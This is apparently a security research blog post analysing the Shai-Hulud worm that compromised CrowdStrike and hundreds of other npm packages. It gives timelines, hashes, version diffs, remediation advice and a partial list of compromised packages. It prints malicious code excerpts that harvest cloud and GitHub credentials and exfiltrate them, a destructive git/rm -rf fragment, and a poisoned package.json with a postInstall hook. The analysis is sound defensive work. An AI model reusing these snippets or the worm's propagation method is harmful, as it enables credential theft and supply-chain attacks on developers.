🚨 Shai-Hulud Strikes Again:834 Packages Compromised.Technical Analysis
Socket
Book a DemoInstallSign in
Socket
Back
Application SecurityResearchSecurity News

Updated and Ongoing Supply Chain Attack Targets CrowdStrike npm Packages

Socket detected multiple compromised CrowdStrike npm packages, continuing the "Shai-Hulud" supply chain attack that has now impacted nearly 500 packages.

Updated and Ongoing Supply Chain Attack Targets CrowdStrike npm Packages

Kush Pandya

Peter van der Zee

Olivia Brown

Socket Research Team

September 16, 2025

Multiple CrowdStrike npm packages published by the crowdstrike-publisher npm account were compromised. This looks like a continuation of the ongoing malicious supply chain campaign known as the “Shai-Hulud attack” that previously compromised tinycolor and 40+ other packages. The malware is identical to this previous campaign, which includes a bundle.js script that:

  • Downloads and executes TruffleHog, a legitimate secret scanner
  • Searches host systems for tokens and cloud credentials
  • Validates discovered developer and CI credentials
  • Creates unauthorized GitHub Actions workflows within repositories
  • Exfiltrates sensitive data to a hardcoded webhook endpoint

The affected packages were quickly removed by the npm registry. The malware includes a workflow file named shai-hulud.yaml, a nod to the sandworms in Dune. While not a unique reference, its presence reinforces that the attacker deliberately branded the campaign “Shai-Hulud.”

In our previous analysis we found the payload writes a GitHub Actions workflow file named shai-hulud-workflow.yml. Around the same time, nearly 700 public repositories titled Shai-Hulud Migration appeared on GitHub. While the precise role of these repos is still under investigation, their naming and timing suggest they may be artifacts of attacker automation used to persist or stage the workflow.

Our previous post has further details on the malware itself. The bash block uses a GitHub personal access token if present, writes a GitHub Actions workflow into .github/workflows, and exfiltrates collected content to a webhook.

The script combines local scanning with service specific probing. It looks for environment variables such as GITHUB_TOKENNPM_TOKENAWS_ACCESS_KEY_ID, and AWS_SECRET_ACCESS_KEY. It validates npm tokens with the whoami endpoint, and it interacts with GitHub APIs when a token is available. It also attempts cloud metadata discovery that can leak short lived credentials inside cloud build agents.

The workflow that it writes to repositories persists beyond the initial host. Once committed, any future CI run can trigger the exfiltration step from within the pipeline where sensitive secrets and artifacts are available by design.

Timeline#

All times are npm publishing times in 24-hour UTC.

September 14, 2025

17:58 first observed compromise

  • rxnt-authentication@0.0.3 (17:58:50)
  • json-rules-engine-simplified@0.2.1 (17:58:51)
  • react-jsonschema-form-conditionals@0.3.18 (17:58:52)
  • encounter-playground@0.0.2 (17:58:52)
  • rxnt-healthchecks-nestjs@1.0.2 (17:58:53)
  • rxnt-kue@1.0.4 (17:58:54)
  • react-complaint-image (17:58:02) Hash for this batch: de0e25a3e6c1e1e5998b306b7141b3dc4c0088da9d7bb47c1c00c91e6e4f85d6

18:35 small burst

Hash: 81d2a004a1bca6ef87a1caf7d0e0b355ad1764238e40ff6d1b1cb77ad4f595c3

20:29–20:45 first large burst (25+ packages and/or versions)

Hash: 83a650ce44b2a9854802a7fb4c202877815274c129af49e6c2d1d5d5d55c501e

21:01–21:03 burst (~17 packages and/or versions)

Hash: 4b2399646573bb737c4969563303d8ee2e9ddbd1b271f1ca9e35ea78062538db

September 15, 2025

01:12 burst (~10 packages and/or versions)

Hash unchanged from 21:01 group: 4b2399646573bb737c4969563303d8ee2e9ddbd1b271f1ca9e35ea78062538db

02:11 new hash appears, reused across multiple bursts

Hash: dc67467a39b70d1cd4c1f7f7a459b35058163592f4a9e8fb4dffcbba98ef210c

Observed reuse at: 04:58, 05:21, 07:43, 08:21, 08:58, 09:16, 10:41, 13:14, and the next day at 07:41

Impact: more than 100 packages and/or versions across these bursts (especially at 09:16 and 10:41)

15:35 new hash becomes active for the rest of the day

Hash: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09

Bursts observed at: 19:52, 20:23, 22:35, 23:43

Impact: more than 50 packages and/or versions. This is the version that was originally covered in our post on TinyColor.

September 16, 2025

01:14 first batch of the day (CrowdStrike set)

Hash: b74caeaa75e077c99f7d44f46daaf9796a3be43ecf24f2a1fd381844669da777

Impact: largest single burst, nearly 100 packages

02:32 additional burst (~20 packages and/or versions)

Hash: b74caeaa75e077c99f7d44f46daaf9796a3be43ecf24f2a1fd381844669da777

03:18 previous day’s hash returns

Hash: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09

Impact: ~20 packages and/or versions at 03:18, ~10 around 05:32, ~60 between 06:17 and 07:11 (many under @operato)

07:41 earlier hash from the 15th reappears

Hash: dc67467a39b70d1cd4c1f7f7a459b35058163592f4a9e8fb4dffcbba98ef210c

Impact: additional handful of packages and/or versions

10:57–11:09 more @operato packages and/or versions

Hash: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09

Version Control#

The threat actor created 7 different versions of the worm, which we know because the worm has no ability to edit itself. There were multiple different seeder events as well as bursts of previous worms, as evidenced in the Timeline section.

V1 v. V2

Difference between version 1, de0e25a3e6c1e1e5998b306b7141b3dc4c0088da9d7bb47c1c00c91e6e4f85d6

ne.scanFilesystem()),{available:t,installed:ne.isInstalled(),version:r,platform:ne.getSupportedPlatform(),results:n}})()]);se=ce.npmUsername,ae=ce.npmTokenValid;const ue={application:t.getConfig(),system:{platform:r.platform,architecture:r.architecture,platformDetailed:r.platformRaw,architectureDetailed:r.archRaw},runtime:n,environment:process.env,modules:{github:{authenticated:F.isAuthenticated(),token:F.getCurrentToken()},aws:{valid:await te.getCallerIdentity(),secrets:await te.getAllSecretValues()},azure:{valid:await re.getProjectInfo(),secrets:await re.getAllSecretValues()},truffleHog:le,npm:{token:oe,authenticated:ae,username:se}}};if(F.isAuthenticated()&&!F.repoExists("Shai-Hulud")&&await F.makeRepo("Shai-Hulud",(0,_lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(ue)),F.isAuthenticated()&&((0,_utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)()||(0,_utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))

and version 2,

81d2a004a1bca6ef87a1caf7d0e0b355ad1764238e40ff6d1b1cb77ad4f595c3:

ne.scanFilesystem()),{available:t,installed:ne.isInstalled(),version:r,platform:ne.getSupportedPlatform(),results:n}})()]);console.log("Configuring."),se=ce.npmUsername,ae=ce.npmTokenValid;let ue=[];await te.isValid()&&(ue=await te.getAllSecretValues());let de=[];await re.isValid()&&(de=await re.getAllSecretValues());const pe={application:t.getConfig(),system:{platform:r.platform,architecture:r.architecture,platformDetailed:r.platformRaw,architectureDetailed:r.archRaw},runtime:n,environment:process.env,modules:{github:{authenticated:F.isAuthenticated(),token:F.getCurrentToken()},aws:{secrets:ue},gcp:{secrets:de},truffleHog:le,npm:{token:oe,authenticated:ae,username:se}}};if(F.isAuthenticated()&&!F.repoExists("Shai-Hulud")&&await F.makeRepo("Shai-Hulud",(0,_lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe)),F.isAuthenticated()&&((0,_utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)()||(0,_utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))

These lines implement automated reconnaissance and credential harvesting, then exfiltrate that collected data to a GitHub repo under the attacker’s control. They gather local system/runtime info and cloud / credential-related data, build an object containing that telemetry, and if a GitHub client F is authenticated and a repo named "Shai-Hulud" does not exist create that repo and pass the collected object to it. The exfiltration mechanism remains identical.

The new version adds a single log line, Configuring, likely for debugging purposes.

Next, the new version checks if the AWS credentials are valid before requesting secret values, likely to avoid throwing or failing when provider credentials are missing. It also now targets Google Cloud instead of Azure, and collects secrets into arrays rather than embedding a valid status. The second has improvements in the code overall, like establishing an empty array and then filling it conditionally to reduce exceptions on invalid clients.

V2 v. V3

The difference between version 2, 81d2a004a1bca6ef87a1caf7d0e0b355ad1764238e40ff6d1b1cb77ad4f595c3,

and version 3, 83a650ce44b2a9854802a7fb4c202877815274c129af49e6c2d1d5d5d55c501e :

  • Version 3 makes the code overall smoother and stealthier. Version three corrects race conditions and prevents double callbacks, and uses chaining to improve robustness. It also avoids throwing exceptions from cleanup by swallowing errors. The third version will kill long running scans 30 seconds earlier than version 2, and exits when the trufflehog binary is not available. It also removes the Configuring logging message.
  • The GitHub token abuse happens earlier in the exploit, making the attack more reliable.

V3 v. V4

There is only one difference between version 3, 83a650ce44b2a9854802a7fb4c202877815274c129af49e6c2d1d5d5d55c501e, and version 4, 4b2399646573bb737c4969563303d8ee2e9ddbd1b271f1ca9e35ea78062538db. In Version 4, the tool attempts to iterate up to 20 packages of a single maintainer instead of 10 in one pass, accelerating the propagation.

V4 v. V5

Between Version 4, 4b2399646573bb737c4969563303d8ee2e9ddbd1b271f1ca9e35ea78062538db, and Version 5, dc67467a39b70d1cd4c1f7f7a459b35058163592f4a9e8fb4dffcbba98ef210c, the threat actor removes a check to see if the repo, Shai-Hulud already exists. Now, the repo is always created as long as the token is authenticated. This likely handles any race condition that may occur if multiple infected hosts run version 4 concurrently. Version 5 likely improves the yield, and removes one less API call, reducing obvious reconnaissance fingerprints in GitHub audit logs.

V5 v. V6

Version 5, dc67467a39b70d1cd4c1f7f7a459b35058163592f4a9e8fb4dffcbba98ef210c, and Version 6, 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09 have a few differences.

  • Version 6 is more succinct overall. It reduces noise and acts more stealthily by removing helper logs and adding a skip switch on the filesystem scan, which is the loudest step of the campaign. It also renames some variables and now exfiltrates the GitHub username.

V6 v. V7

Between Version 6, 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09, and Version 7, b74caeaa75e077c99f7d44f46daaf9796a3be43ecf24f2a1fd381844669da777, the threat actor only removes this:

# Convert to a regular repo temporarily to make changes\\n
git config --unset core.bare\\n    
git reset --hard\\n\\n    
# Remove .github/workflows directory if it exists and commit\\n    if [[ -d ".github/workflows" ]]; then\\n        
rm -rf .github/workflows\\n        
git add -A\\n        
git commit -m "Remove GitHub workflows directory"\\n    
fi\\n\\n    
# Convert back to bare repo for mirroring\\n    
git config core.bare true\\n    
rm -rf *\\n\\n   


Version 6 used both the bare-repo filesystem manipulation technique and workflow-creation/exfil logic present in the above snippet. Version 7 removed the filesystem (git config / rm -rf) technique and retained the workflow/Actions + GitHub-API + webhook exfiltration behavior. This evasion is less noisy, and no longer leaves obvious forensic artifacts.

Throughout each of the versions, the actor tries to become stealthier and more efficient. Notably, there is no cryptowallet draining or obfuscation, which is different than the campaign targeting Nx npm packages from a few weeks ago.

Worm Behavior

The malware can self-propagate by automatically stealing credentials and then using those credentials to insert workflows into other repos. It automatically modifies and republishes packages as part of its propagation chain. However, it cannot self-propagate without those credentials, meaning eventually it will run out of credentials to steal from the packages it’s compromised.

Once it steals credentials and gains write and publish capabilities from those credentials, it obtains the target package artifact, unpacks the package, and then creates or replaces the package’s bundle.js file with its own malicious bundle.js. It also may edit the package.json file to add a postinstall script. Then it repacks the tarball and publishes the poisoned version. Now, when downstream users install the package, the malicious postinstall or injected bundle.js executes and can run the same discovery and publish code on the new host. Harvested credentials are used to target other repos and packages.

This is an example package.json from the first version, in rxnt-authentication:

{
  "name": "rxnt-authentication",
  "version": "0.0.3",
  "description": "Authentication helper methods for RXNT Authentication in Node APIs",
  "main": "dist/index.js",
  "types": "dist/indext.d.ts",
  "files": [
    "src",
    "dist"
  ],
  "repository": {
    "type": "git",
    "url": "<https://github.com/RXNT/common.git>",
    "directory": "rxnt-authentication"
  },
  "scripts": {
    "build": "tsup src/index.ts --dts",
    "test": "jest",
    "format": "prettier --write src/**/*",
    "lint": "eslint src/**/*.{js,ts,json}",
    "increment-version": "node ../scripts/increment-version.script.js",
    "publish-package": "node ../scripts/publish.script.js",
    "postInstall": "node bundle.js"
  },
  "author": "",
  "license": "ISC",
  "devDependencies": {
    "@types/express": "^5.0.3",
    "@types/jest": "^30.0.0",
    "@types/jsonwebtoken": "^9.0.10",
    "@types/node": "^24.3.1",
    "jest": "^30.1.3",
    "typescript": "^5.9.2"
  },
  "dependencies": {
    "express": "^5.1.0",
    "jsonwebtoken": "^9.0.2"
  }
}

Clearly, there is a postInstall script, calling to node bundle.js.

The tarball injection ensures the malicious code is present in the artifact itself, and is harder to notice if downstream users just npm install the package. Adding a postinstall script in package.json ensures automatic execution during npm install even if the package’s normal runtime doesn’t import the injected file.

This also explains why certain hashes re-emerged. It may not be because the threat actor decided versions 5 and 6 were superior, but actually because those versions found other accounts to propagate through. The GitHub Actions workflows trigger on events, not continuously, which would explain the gaps in time between the bursts from the malware. This may indicate that we have not seen the last of this malware yet.

Immediate Guidance#

  • Uninstall or pin to known-good versions until patched releases are verified.
  • Audit environments (CI/CD agents, developer laptops) that installed the affected versions for unauthorized publishes or credential theft.
  • Rotate npm tokens and other exposed secrets if these packages were present on machines with publishing credentials.
  • Monitor logs for unusual npm publish or package modification events.

Indicators of Compromise#

Compromised Packages and Versions

The following npm packages and versions have been confirmed as affected:

Total packages: 526

  1. @ahmedhfarag/ngx-perfect-scrollbar@20.0.20
  2. @ahmedhfarag/ngx-virtual-scroller@4.0.4
  3. @art-ws/common@2.0.28
  4. @art-ws/config-eslint@2.0.4
  5. @art-ws/config-eslint@2.0.5
  6. @art-ws/config-ts@2.0.7
  7. @art-ws/config-ts@2.0.8
  8. @art-ws/db-context@2.0.24
  9. @art-ws/di-node@2.0.13
  10. @art-ws/di@2.0.28
  11. @art-ws/di@2.0.32
  12. @art-ws/eslint@1.0.5
  13. @art-ws/eslint@1.0.6
  14. @art-ws/fastify-http-server@2.0.24
  15. @art-ws/fastify-http-server@2.0.27
  16. @art-ws/http-server@2.0.21
  17. @art-ws/http-server@2.0.25
  18. @art-ws/openapi@0.1.12
  19. @art-ws/openapi@0.1.9
  20. @art-ws/package-base@1.0.5
  21. @art-ws/package-base@1.0.6
  22. @art-ws/prettier@1.0.5
  23. @art-ws/prettier@1.0.6
  24. @art-ws/slf@2.0.15
  25. @art-ws/slf@2.0.22
  26. @art-ws/ssl-info@1.0.10
  27. @art-ws/ssl-info@1.0.9
  28. @art-ws/web-app@1.0.3
  29. @art-ws/web-app@1.0.4
  30. @crowdstrike/commitlint@8.1.1
  31. @crowdstrike/commitlint@8.1.2
  32. @crowdstrike/falcon-shoelace@0.4.1
  33. @crowdstrike/falcon-shoelace@0.4.2
  34. @crowdstrike/foundry-js@0.19.1
  35. @crowdstrike/foundry-js@0.19.2
  36. @crowdstrike/glide-core@0.34.2
  37. @crowdstrike/glide-core@0.34.3
  38. @crowdstrike/logscale-dashboard@1.205.1
  39. @crowdstrike/logscale-dashboard@1.205.2
  40. @crowdstrike/logscale-file-editor@1.205.1
  41. @crowdstrike/logscale-file-editor@1.205.2
  42. @crowdstrike/logscale-parser-edit@1.205.1
  43. @crowdstrike/logscale-parser-edit@1.205.2
  44. @crowdstrike/logscale-search@1.205.1
  45. @crowdstrike/logscale-search@1.205.2
  46. @crowdstrike/tailwind-toucan-base@5.0.1
  47. @crowdstrike/tailwind-toucan-base@5.0.2
  48. @ctrl/deluge@7.2.1
  49. @ctrl/deluge@7.2.2
  50. @ctrl/golang-template@1.4.2
  51. @ctrl/golang-template@1.4.3
  52. @ctrl/magnet-link@4.0.3
  53. @ctrl/magnet-link@4.0.4
  54. @ctrl/ngx-codemirror@7.0.1
  55. @ctrl/ngx-codemirror@7.0.2
  56. @ctrl/ngx-csv@6.0.1
  57. @ctrl/ngx-csv@6.0.2
  58. @ctrl/ngx-emoji-mart@9.2.1
  59. @ctrl/ngx-emoji-mart@9.2.2
  60. @ctrl/ngx-rightclick@4.0.1
  61. @ctrl/ngx-rightclick@4.0.2
  62. @ctrl/qbittorrent@9.7.1
  63. @ctrl/qbittorrent@9.7.2
  64. @ctrl/react-adsense@2.0.1
  65. @ctrl/react-adsense@2.0.2
  66. @ctrl/shared-torrent@6.3.1
  67. @ctrl/shared-torrent@6.3.2
  68. @ctrl/tinycolor@4.1.1
  69. @ctrl/tinycolor@4.1.2
  70. @ctrl/torrent-file@4.1.1
  71. @ctrl/torrent-file@4.1.2
  72. @ctrl/transmission@7.3.1
  73. @ctrl/ts-base32@4.0.1
  74. @ctrl/ts-base32@4.0.2
  75. @hestjs/core@0.2.1
  76. @hestjs/cqrs@0.1.6
  77. @hestjs/demo@0.1.2
  78. @hestjs/eslint-config@0.1.2
  79. @hestjs/logger@0.1.6
  80. @hestjs/scalar@0.1.7
  81. @hestjs/validation@0.1.6
  82. @nativescript-community/arraybuffers@1.1.6
  83. @nativescript-community/arraybuffers@1.1.7
  84. @nativescript-community/arraybuffers@1.1.8
  85. @nativescript-community/gesturehandler@2.0.35
  86. @nativescript-community/perms@3.0.5
  87. @nativescript-community/perms@3.0.6
  88. @nativescript-community/perms@3.0.7
  89. @nativescript-community/perms@3.0.8
  90. @nativescript-community/perms@3.0.9
  91. @nativescript-community/sentry@4.6.43
  92. @nativescript-community/sqlite@3.5.2
  93. @nativescript-community/sqlite@3.5.3
  94. @nativescript-community/sqlite@3.5.4
  95. @nativescript-community/sqlite@3.5.5
  96. @nativescript-community/text@1.6.10
  97. @nativescript-community/text@1.6.11
  98. @nativescript-community/text@1.6.12
  99. @nativescript-community/text@1.6.13
  100. @nativescript-community/text@1.6.9
  101. @nativescript-community/typeorm@0.2.30
  102. @nativescript-community/typeorm@0.2.31
  103. @nativescript-community/typeorm@0.2.32
  104. @nativescript-community/typeorm@0.2.33
  105. @nativescript-community/ui-collectionview@6.0.6
  106. @nativescript-community/ui-document-picker@1.1.27
  107. @nativescript-community/ui-document-picker@1.1.28
  108. @nativescript-community/ui-drawer@0.1.30
  109. @nativescript-community/ui-image@4.5.6
  110. @nativescript-community/ui-label@1.3.35
  111. @nativescript-community/ui-label@1.3.36
  112. @nativescript-community/ui-label@1.3.37
  113. @nativescript-community/ui-material-bottom-navigation@7.2.72
  114. @nativescript-community/ui-material-bottom-navigation@7.2.73
  115. @nativescript-community/ui-material-bottom-navigation@7.2.74
  116. @nativescript-community/ui-material-bottom-navigation@7.2.75
  117. @nativescript-community/ui-material-bottomsheet@7.2.72
  118. @nativescript-community/ui-material-core-tabs@7.2.72
  119. @nativescript-community/ui-material-core-tabs@7.2.73
  120. @nativescript-community/ui-material-core-tabs@7.2.74
  121. @nativescript-community/ui-material-core-tabs@7.2.75
  122. @nativescript-community/ui-material-core-tabs@7.2.76
  123. @nativescript-community/ui-material-core@7.2.72
  124. @nativescript-community/ui-material-core@7.2.73
  125. @nativescript-community/ui-material-core@7.2.74
  126. @nativescript-community/ui-material-core@7.2.75
  127. @nativescript-community/ui-material-core@7.2.76
  128. @nativescript-community/ui-material-ripple@7.2.72
  129. @nativescript-community/ui-material-ripple@7.2.73
  130. @nativescript-community/ui-material-ripple@7.2.74
  131. @nativescript-community/ui-material-ripple@7.2.75
  132. @nativescript-community/ui-material-tabs@7.2.72
  133. @nativescript-community/ui-material-tabs@7.2.73
  134. @nativescript-community/ui-material-tabs@7.2.74
  135. @nativescript-community/ui-material-tabs@7.2.75
  136. @nativescript-community/ui-pager@14.1.36
  137. @nativescript-community/ui-pager@14.1.37
  138. @nativescript-community/ui-pager@14.1.38
  139. @nativescript-community/ui-pulltorefresh@2.5.4
  140. @nativescript-community/ui-pulltorefresh@2.5.5
  141. @nativescript-community/ui-pulltorefresh@2.5.6
  142. @nativescript-community/ui-pulltorefresh@2.5.7
  143. @nexe/config-manager@0.1.1
  144. @nexe/eslint-config@0.1.1
  145. @nexe/logger@0.1.3
  146. @nstudio/angular@20.0.4
  147. @nstudio/angular@20.0.5
  148. @nstudio/angular@20.0.6
  149. @nstudio/focus@20.0.4
  150. @nstudio/focus@20.0.5
  151. @nstudio/focus@20.0.6
  152. @nstudio/nativescript-checkbox@2.0.6
  153. @nstudio/nativescript-checkbox@2.0.7
  154. @nstudio/nativescript-checkbox@2.0.8
  155. @nstudio/nativescript-checkbox@2.0.9
  156. @nstudio/nativescript-loading-indicator@5.0.1
  157. @nstudio/nativescript-loading-indicator@5.0.2
  158. @nstudio/nativescript-loading-indicator@5.0.3
  159. @nstudio/nativescript-loading-indicator@5.0.4
  160. @nstudio/ui-collectionview@5.1.11
  161. @nstudio/ui-collectionview@5.1.12
  162. @nstudio/ui-collectionview@5.1.13
  163. @nstudio/ui-collectionview@5.1.14
  164. @nstudio/web-angular@20.0.4
  165. @nstudio/web@20.0.4
  166. @nstudio/xplat-utils@20.0.5
  167. @nstudio/xplat-utils@20.0.6
  168. @nstudio/xplat-utils@20.0.7
  169. @nstudio/xplat@20.0.5
  170. @nstudio/xplat@20.0.6
  171. @nstudio/xplat@20.0.7
  172. @operato/board@9.0.35
  173. @operato/board@9.0.36
  174. @operato/board@9.0.37
  175. @operato/board@9.0.38
  176. @operato/board@9.0.39
  177. @operato/board@9.0.40
  178. @operato/board@9.0.41
  179. @operato/board@9.0.42
  180. @operato/board@9.0.43
  181. @operato/board@9.0.44
  182. @operato/board@9.0.45
  183. @operato/board@9.0.46
  184. @operato/board@9.0.47
  185. @operato/board@9.0.48
  186. @operato/board@9.0.49
  187. @operato/board@9.0.50
  188. @operato/board@9.0.51
  189. @operato/data-grist@9.0.29
  190. @operato/data-grist@9.0.35
  191. @operato/data-grist@9.0.36
  192. @operato/data-grist@9.0.37
  193. @operato/graphql@9.0.22
  194. @operato/graphql@9.0.35
  195. @operato/graphql@9.0.36
  196. @operato/graphql@9.0.37
  197. @operato/graphql@9.0.38
  198. @operato/graphql@9.0.39
  199. @operato/graphql@9.0.40
  200. @operato/graphql@9.0.41
  201. @operato/graphql@9.0.42
  202. @operato/graphql@9.0.43
  203. @operato/graphql@9.0.44
  204. @operato/graphql@9.0.45
  205. @operato/graphql@9.0.46
  206. @operato/graphql@9.0.47
  207. @operato/graphql@9.0.48
  208. @operato/graphql@9.0.49
  209. @operato/graphql@9.0.50
  210. @operato/graphql@9.0.51
  211. @operato/headroom@9.0.2
  212. @operato/headroom@9.0.35
  213. @operato/headroom@9.0.36
  214. @operato/headroom@9.0.37
  215. @operato/help@9.0.35
  216. @operato/help@9.0.36
  217. @operato/help@9.0.37
  218. @operato/help@9.0.38
  219. @operato/help@9.0.39
  220. @operato/help@9.0.40
  221. @operato/help@9.0.41
  222. @operato/help@9.0.42
  223. @operato/help@9.0.43
  224. @operato/help@9.0.44
  225. @operato/help@9.0.45
  226. @operato/help@9.0.46
  227. @operato/help@9.0.47
  228. @operato/help@9.0.48
  229. @operato/help@9.0.49
  230. @operato/help@9.0.50
  231. @operato/help@9.0.51
  232. @operato/i18n@9.0.35
  233. @operato/i18n@9.0.36
  234. @operato/i18n@9.0.37
  235. @operato/input@9.0.27
  236. @operato/input@9.0.35
  237. @operato/input@9.0.36
  238. @operato/input@9.0.37
  239. @operato/input@9.0.38
  240. @operato/input@9.0.39
  241. @operato/input@9.0.40
  242. @operato/input@9.0.41
  243. @operato/input@9.0.42
  244. @operato/input@9.0.43
  245. @operato/input@9.0.44
  246. @operato/input@9.0.45
  247. @operato/input@9.0.46
  248. @operato/input@9.0.47
  249. @operato/input@9.0.48
  250. @operato/layout@9.0.35
  251. @operato/layout@9.0.36
  252. @operato/layout@9.0.37
  253. @operato/popup@9.0.22
  254. @operato/popup@9.0.35
  255. @operato/popup@9.0.36
  256. @operato/popup@9.0.37
  257. @operato/popup@9.0.38
  258. @operato/popup@9.0.39
  259. @operato/popup@9.0.40
  260. @operato/popup@9.0.41
  261. @operato/popup@9.0.42
  262. @operato/popup@9.0.43
  263. @operato/popup@9.0.44
  264. @operato/popup@9.0.45
  265. @operato/popup@9.0.46
  266. @operato/popup@9.0.47
  267. @operato/popup@9.0.48
  268. @operato/popup@9.0.49
  269. @operato/popup@9.0.50
  270. @operato/popup@9.0.51
  271. @operato/pull-to-refresh@9.0.35
  272. @operato/pull-to-refresh@9.0.36
  273. @operato/pull-to-refresh@9.0.37
  274. @operato/pull-to-refresh@9.0.38
  275. @operato/pull-to-refresh@9.0.39
  276. @operato/pull-to-refresh@9.0.40
  277. @operato/pull-to-refresh@9.0.41
  278. @operato/pull-to-refresh@9.0.42
  279. @operato/pull-to-refresh@9.0.43
  280. @operato/pull-to-refresh@9.0.44
  281. @operato/pull-to-refresh@9.0.45
  282. @operato/pull-to-refresh@9.0.46
  283. @operato/pull-to-refresh@9.0.47
  284. @operato/shell@9.0.22
  285. @operato/shell@9.0.35
  286. @operato/shell@9.0.36
  287. @operato/shell@9.0.37
  288. @operato/shell@9.0.38
  289. @operato/shell@9.0.39
  290. @operato/styles@9.0.2
  291. @operato/styles@9.0.35
  292. @operato/styles@9.0.36
  293. @operato/styles@9.0.37
  294. @operato/utils@9.0.22
  295. @operato/utils@9.0.35
  296. @operato/utils@9.0.36
  297. @operato/utils@9.0.37
  298. @operato/utils@9.0.38
  299. @operato/utils@9.0.39
  300. @operato/utils@9.0.40
  301. @operato/utils@9.0.41
  302. @operato/utils@9.0.42
  303. @operato/utils@9.0.43
  304. @operato/utils@9.0.44
  305. @operato/utils@9.0.45
  306. @operato/utils@9.0.46
  307. @operato/utils@9.0.47
  308. @operato/utils@9.0.48
  309. @operato/utils@9.0.49
  310. @operato/utils@9.0.50
  311. @operato/utils@9.0.51
  312. @rxap/ngx-bootstrap@19.0.3
  313. @rxap/ngx-bootstrap@19.0.4
  314. @teriyakibomb/ember-velcro@2.2.1
  315. @teselagen/bio-parsers@0.4.30
  316. @teselagen/bounce-loader@0.3.16
  317. @teselagen/bounce-loader@0.3.17
  318. @teselagen/file-utils@0.3.22
  319. @teselagen/liquibase-tools@0.4.1
  320. @teselagen/ove@0.7.40
  321. @teselagen/range-utils@0.3.14
  322. @teselagen/range-utils@0.3.15
  323. @teselagen/react-list@0.8.19
  324. @teselagen/react-list@0.8.20
  325. @teselagen/react-table@6.10.19
  326. @teselagen/react-table@6.10.20
  327. @teselagen/react-table@6.10.22
  328. @teselagen/sequence-utils@0.3.34
  329. @teselagen/ui@0.9.10
  330. @thangved/callback-window@1.1.4
  331. @things-factory/attachment-base@9.0.42
  332. @things-factory/attachment-base@9.0.43
  333. @things-factory/attachment-base@9.0.44
  334. @things-factory/attachment-base@9.0.45
  335. @things-factory/attachment-base@9.0.46
  336. @things-factory/attachment-base@9.0.47
  337. @things-factory/attachment-base@9.0.48
  338. @things-factory/attachment-base@9.0.49
  339. @things-factory/attachment-base@9.0.50
  340. @things-factory/attachment-base@9.0.51
  341. @things-factory/attachment-base@9.0.52
  342. @things-factory/attachment-base@9.0.53
  343. @things-factory/attachment-base@9.0.54
  344. @things-factory/attachment-base@9.0.55
  345. @things-factory/auth-base@9.0.42
  346. @things-factory/auth-base@9.0.43
  347. @things-factory/auth-base@9.0.44
  348. @things-factory/auth-base@9.0.45
  349. @things-factory/email-base@9.0.42
  350. @things-factory/email-base@9.0.43
  351. @things-factory/email-base@9.0.44
  352. @things-factory/email-base@9.0.45
  353. @things-factory/email-base@9.0.46
  354. @things-factory/email-base@9.0.47
  355. @things-factory/email-base@9.0.48
  356. @things-factory/email-base@9.0.49
  357. @things-factory/email-base@9.0.50
  358. @things-factory/email-base@9.0.51
  359. @things-factory/email-base@9.0.52
  360. @things-factory/email-base@9.0.53
  361. @things-factory/email-base@9.0.54
  362. @things-factory/email-base@9.0.55
  363. @things-factory/email-base@9.0.56
  364. @things-factory/email-base@9.0.57
  365. @things-factory/email-base@9.0.58
  366. @things-factory/email-base@9.0.59
  367. @things-factory/env@9.0.42
  368. @things-factory/env@9.0.43
  369. @things-factory/env@9.0.44
  370. @things-factory/env@9.0.45
  371. @things-factory/integration-base@9.0.42
  372. @things-factory/integration-base@9.0.43
  373. @things-factory/integration-base@9.0.44
  374. @things-factory/integration-base@9.0.45
  375. @things-factory/integration-marketplace@9.0.43
  376. @things-factory/integration-marketplace@9.0.44
  377. @things-factory/integration-marketplace@9.0.45
  378. @things-factory/shell@9.0.42
  379. @things-factory/shell@9.0.43
  380. @things-factory/shell@9.0.44
  381. @things-factory/shell@9.0.45
  382. @tnf-dev/api@1.0.8
  383. @tnf-dev/core@1.0.8
  384. @tnf-dev/js@1.0.8
  385. @tnf-dev/mui@1.0.8
  386. @tnf-dev/react@1.0.8
  387. @ui-ux-gang/devextreme-angular-rpk@24.1.7
  388. @yoobic/design-system@6.5.17
  389. @yoobic/jpeg-camera-es6@1.0.13
  390. @yoobic/yobi@8.7.53
  391. airchief@0.3.1
  392. airpilot@0.8.8
  393. angulartics2@14.1.1
  394. angulartics2@14.1.2
  395. another-shai@1.0.1
  396. browser-webdriver-downloader@3.0.8
  397. capacitor-notificationhandler@0.0.2
  398. capacitor-notificationhandler@0.0.3
  399. capacitor-plugin-healthapp@0.0.2
  400. capacitor-plugin-healthapp@0.0.3
  401. capacitor-plugin-ihealth@1.1.8
  402. capacitor-plugin-ihealth@1.1.9
  403. capacitor-plugin-vonage@1.0.2
  404. capacitor-plugin-vonage@1.0.3
  405. capacitorandroidpermissions@0.0.4
  406. capacitorandroidpermissions@0.0.5
  407. config-cordova@0.8.5
  408. cordova-plugin-voxeet2@1.0.24
  409. cordova-voxeet@1.0.32
  410. create-hest-app@0.1.9
  411. db-evo@1.1.4
  412. db-evo@1.1.5
  413. devextreme-angular-rpk@21.2.8
  414. ember-browser-services@5.0.2
  415. ember-browser-services@5.0.3
  416. ember-headless-form-yup@1.0.1
  417. ember-headless-form@1.1.2
  418. ember-headless-form@1.1.3
  419. ember-headless-table@2.1.5
  420. ember-headless-table@2.1.6
  421. ember-url-hash-polyfill@1.0.12
  422. ember-url-hash-polyfill@1.0.13
  423. ember-velcro@2.2.1
  424. ember-velcro@2.2.2
  425. encounter-playground@0.0.2
  426. encounter-playground@0.0.3
  427. encounter-playground@0.0.4
  428. encounter-playground@0.0.5
  429. eslint-config-crowdstrike-node@4.0.3
  430. eslint-config-crowdstrike-node@4.0.4
  431. eslint-config-crowdstrike@11.0.2
  432. eslint-config-crowdstrike@11.0.3
  433. eslint-config-teselagen@6.1.7
  434. eslint-config-teselagen@6.1.8
  435. globalize-rpk@1.7.4
